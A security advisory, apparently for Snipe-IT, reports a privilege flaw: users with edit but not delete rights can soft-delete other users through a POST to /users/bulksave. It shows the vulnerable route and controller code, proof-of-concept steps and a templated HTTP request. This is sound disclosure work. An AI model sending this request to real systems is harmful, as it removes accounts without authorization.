Summary

### Impact An authenticated non-admin user with `users.view` and `users.edit`, but without `users.delete`, can directly POST to `/users/bulksave` and soft-delete another non-admin user. The UI and confirmation route require `users.delete`, but the destructive sink only authorizes `update`. ### Attacker Model Authenticated non-admin user with: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ json {"users.view":"1","users.edit":"1"} ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The attacker does not have `users.delete`, `admin`, or `superuser`. ### Affected Component - `routes/web/users.php` - `app/Http/Controllers/Users/BulkUsersController.php` - Endpoint: `POST /users/bulksave` ### Root Cause The UI only exposes bulk delete to users with `delete` permission: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ php @can('delete', \App\Models\User::class) ... ... @endcan ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The confirmation path also checks `delete`: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ php } elseif ($request->input('bulk_actions') == 'delete') { $this->authorize('delete', User::class); ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ However, the destructive route is registered separately: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ php Route::post('bulksave', [Users\BulkUsersController::class, 'destroy']) ->name('users/bulksave'); ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ and `destroy()` authorizes only `update`: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ php public function destroy(Request $request) { $this->authorize('update', User::class); ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ When `delete_user=1` is present, the method reaches: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ php $user->delete(); ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ### Proof of Concept 1. Create a non-admin attacker account with `users.view` and `users.edit`, but not `users.delete`. 2. Create a harmless non-admin target user. 3. Log in as the attacker and obtain a valid CSRF token. 4. Send: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http POST /users/bulksave HTTP/1.1 Host: Cookie: snipeit_session= Content-Type: application/x-www-form-urlencoded _token= ids[]= delete_user=1 status_id= ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Observed response: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http HTTP/1.1 302 Found Location: http:// /users ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ### Patches Patched in 374f426f0c
